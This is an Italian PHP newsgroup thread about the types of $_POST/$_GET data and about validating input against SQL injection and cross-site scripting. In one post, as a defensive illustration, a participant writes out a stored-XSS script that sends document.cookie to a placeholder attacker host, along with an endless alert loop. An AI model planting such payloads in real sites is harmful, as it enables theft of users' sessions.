Newsgroup: it.comp.www.php
Titolo: Che tipo di dato sono i $_POST/GET/SESSION/COOKIE?

Come da oggetto, se faccio un gettype di un qualsiasi valore di array 
post/get/cookie/session, otterrò sempre e solo il tipo "string"? Ad esempio 
anche se invio un file o non invio una mazza? :-)
rob4you 



Si`, sempre e solo string.
Per i file, non sono nelle variabili che hai elencato, ma sono in $_FILES
con una struttura particolare. Comunque sono tutte stringhe anche li`.
Bye.

 Si`, sempre e solo string.
Di consguenza, il controllo if(is_string($_POST['campo']) č sempre inutile 
perché č sempre true?
Quindi, al piů, se mi attendo un numero, potrei fare (is_numeric)?
In definitiva, per evitare problemi di sql injection o piů in generale di 
approccio al db, dovrei:
1) controllare la lunghezza del campo ricevuto (con un length per evitare 
campi lunghi oltre modo);
2) controllare il tipo di dato (da quanto detto da te, se non ho capito male 
vale la pena farlo solo se mi attendo un numero con is_numeric, perché 
altrimenti avrň sempre stringhe);
3) usare espressioni regolari, sostituzione di stringhe (str_replace, 
preg_replace, ereg_replace o strtr) o roba simile (strip_tags) per eliminare 
caratteri potenzialmente dannosi (per esser sicuro dovrei proprio eliminare 
del tutto qualsiasi tag html?);
4) escape degli slashes (con mysql_real_escape_string o simili per altri db 
o in mancanza addslashes [facendo attenzione al magic_quotes])
Serve anche far l'escape di altri caratteri? Se sě, perché?
Serve mettere i parametri di connessione al db fuori dalla webroot o no? 
Anche in questo caso, se sě perché?
Altre aggiunte o correzioni?
rob4you

"rob4you" <KIED...@KIEDIMELO.it> wrote:

In generale sono stringhe (nel senso che is_string() darebbe TRUE),
ma possono essere anche array i cui elementi possono essere stringhe
o altri array ancora. Quando sono coinvolti array, gli indici possono
essere sia interi che stringhe. Esempio:
 
http://miosito/prova.php?x[3]=a&x[zero]=b&x[0]=c
ritorna l'array:
    array(3=>"a", "zero"=>"b", 0=>"c")
Siccome tu non hai alcun controllo sulla roba che il client ti invia,
devi prepararti a ricevere di tutto. Cosa succede se uno ignora il
problema e usa direttamente il valore ritornato nel suo codice? Di tutto.
Ad esempio se $x e' un array, allora strlen($x) da' sempre 5; se poi
passi questo array a delle funzioni o lo metti in una espressione,
dipende se e' vuoto oppure no. Insomma, un pasticcio.
Per una trattazione piu' esaustiva:
http://www.icosaedro.it/articoli/php-security.html#validazionedellinput
Ciao,
 ___ 
/_|_\  Umberto Salsi
\/_\/  
www.icosaedro.it

 in questo caso, se sì perché? Altre aggiunte o correzioni?
Questo puo` servire in alcuni casi, ma dipende anche dal resto delle
policy di sicurezza che hai adottato.
Per esempio puoi fare un auto_include nella config di apache che
precarichi per ogni pagina uno script che definisce i parametri di
connessione, ma se poi il tuo script puo` leggerlo, e hai una pagina che
per un bug consente di leggere file, non ti servira` a niente, se non a
nasconderlo per un po'.
Bye.

Mi sono letto il tuo articolo molto interessante sui problemi legati alla 
sicurezza del php.
volevo chiedere una cosa da niubbo:
Passare falsi parametri tipo $_GET č molto semplice, ma per passare 
parametri artefatti con $_POST lo č altrettanto? Se si, come č possibile? 
Naturalmente lo chiedo per pura curiositą...
Grazie 

 parametri artefatti con $_POST lo è altrettanto? Se si, come è possibile?
E' una virgola più complesso.
O ti crei una pagina tua che "simula" quella originale e passi i parametri 
falsi,
oppure modifichi il sorgente direttamente dalla pagina originale (ad esempio 
utilizzando la web developer bar di FireFox) e il gioco è fatto.
rob4you
www.outofmind.eu
 

 ti aspetti e come lo vuoi riutilizzare.
In effetti teoricamente alcuni tag, usati correttamente, sono innocui.
Ma ad esempio, immagina un forum/guestbook/chat o qualsiasi altra cosa che 
preveda inserimento di "messaggi" da parte di un utente in un db. Questi 
messaggi successivamente (eventualemente su richiesta) saranno visualizzati 
dagli altri utenti.
Quindi ad esempio, dovrebbero essere SENZ'ALTRO filtrati i tag di script, al 
fine di evitare un inserimento tipo:
<script language="javascript">
  document.location.href="
http://sito_schifoso/script.php?data=
"+document.cookie;
</script>
oppure tipo:
<script>while(true){alert("Hai voglia a cliccare OK!");}</script>
Mi domando comunque se per ovviare a questi potenziali problemi basta l'uso 
di htmlentities() oppure è proprio necessario eliminarli questi tag?
Altro occhio di riguardo sono i tag IMG, giusto? Meglio sostituirli con 
[img]?
rob4you
www.outofmind.eu
 

 Naturalmente lo chiedo per pura curiosità...
Per generare richieste POST arbitrarie basta creare un file HTML con
un FORM avente per action l'URL bersaglio e poi ci metti i campi coi
valori artefatti che vuoi, quindi "submitti" il tutto.  Il browser mette
anche i cookies, se ce ne sono.  Questo torna anche utile, oltre che per
eseguire test di robustezza, anche per inviare richieste a un motore di
ricerca o ad un programma di utilita' senza passare dal "via".
Se poi vuoi manipolare anche i cookies o il referrer, allora devi
ricorrere a un programmino, ma penso che questo basti ai fini della
risposta.


 con [img]?
E poi userei questa sintassi per alcuni tag consentiti (praticamente il
bbcode. Penso si trovino librerie che lo interpretano automaticamente).
Bye.

 Bye.
Grazie di tutte le info..bye. :-)
rob4you